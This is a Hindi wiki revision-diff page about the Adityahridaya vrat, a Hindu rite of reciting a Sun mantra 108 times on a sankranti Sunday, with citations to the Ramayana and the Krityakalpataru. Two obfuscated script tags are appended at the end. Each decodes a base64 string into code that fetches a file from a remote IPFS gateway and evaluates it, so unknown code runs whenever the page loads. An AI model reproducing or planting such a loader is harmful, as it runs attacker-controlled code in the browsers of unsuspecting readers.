आदित्यहृदय विधि: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (आदित्यह्रदयविधि का नाम बदलकर आदित्यह्रदय विधि कर दिया गया है)
m (Text replace - ")</ref" to "</ref")
 
(8 intermediate revisions by 3 users not shown)
Line 1: Line 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।  
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।  
*[[रविवार]] की [[संक्रान्ति]] के दिन [[सूर्य देवता|सूर्य]] के मन्दिर में आदित्यह्रदय नामक मन्त्र का 108 बार पाठ करना चाहिए।
*[[रविवार]] की [[संक्रान्ति]] के दिन [[सूर्य देवता|सूर्य]] के मन्दिर में आदित्यहृदय नामक मन्त्र का 108 बार पाठ करना चाहिए।
*इस दिन केवल रात्रि में भोजन करना चाहिए। <ref>हेमाद्रि व्रतखण्ड (2, 526)।</ref>
*इस दिन केवल रात्रि में भोजन करना चाहिए।<ref>हेमाद्रि व्रतखण्ड (2, 526)।</ref>
*[[रामायण]]<ref>रामायण ([[युद्धकाण्ड वा. रा.|युद्धकाण्ड]] 107)</ref> में ऐसा आया है कि [[अगस्त्य]] ने आकर [[राम]] से इस मन्त्र के पाठ की बात कही है, जिससे कि [[रावण]] के ऊपर विजय प्राप्त हो।  
*[[रामायण]]<ref>रामायण ([[युद्धकाण्ड वा. रा.|युद्धकाण्ड]] 107</ref> में ऐसा आया है कि [[अगस्त्य]] ने आकर [[राम]] से इस मन्त्र के पाठ की बात कही है, जिससे कि [[रावण]] के ऊपर विजय प्राप्त हो।  
*कृत्यकल्पतरु <ref>कृत्यकल्पतरु (19-20)</ref> में आया है कि किसी संक्रान्ति वाले रविवार को ह्रदय या आदित्यह्रदय कहा जाता है।
*कृत्यकल्पतरु<ref>कृत्यकल्पतरु (19-20</ref> में आया है कि किसी संक्रान्ति वाले रविवार को हृदय या आदित्यहृदय कहा जाता है।


{{लेख प्रगति
{{संदर्भ ग्रंथ}}
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==संबंधित लिंक==
==संबंधित लेख==
{{पर्व और त्योहार}}
{{पर्व और त्योहार}}
{{व्रत और उत्सव}}
{{व्रत और उत्सव}}

Latest revision as of 12:40, 27 July 2011

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • रविवार की संक्रान्ति के दिन सूर्य के मन्दिर में आदित्यहृदय नामक मन्त्र का 108 बार पाठ करना चाहिए।
  • इस दिन केवल रात्रि में भोजन करना चाहिए।[1]
  • रामायण[2] में ऐसा आया है कि अगस्त्य ने आकर राम से इस मन्त्र के पाठ की बात कही है, जिससे कि रावण के ऊपर विजय प्राप्त हो।
  • कृत्यकल्पतरु[3] में आया है कि किसी संक्रान्ति वाले रविवार को हृदय या आदित्यहृदय कहा जाता है।


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड (2, 526)।
  2. रामायण (युद्धकाण्ड 107
  3. कृत्यकल्पतरु (19-20

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>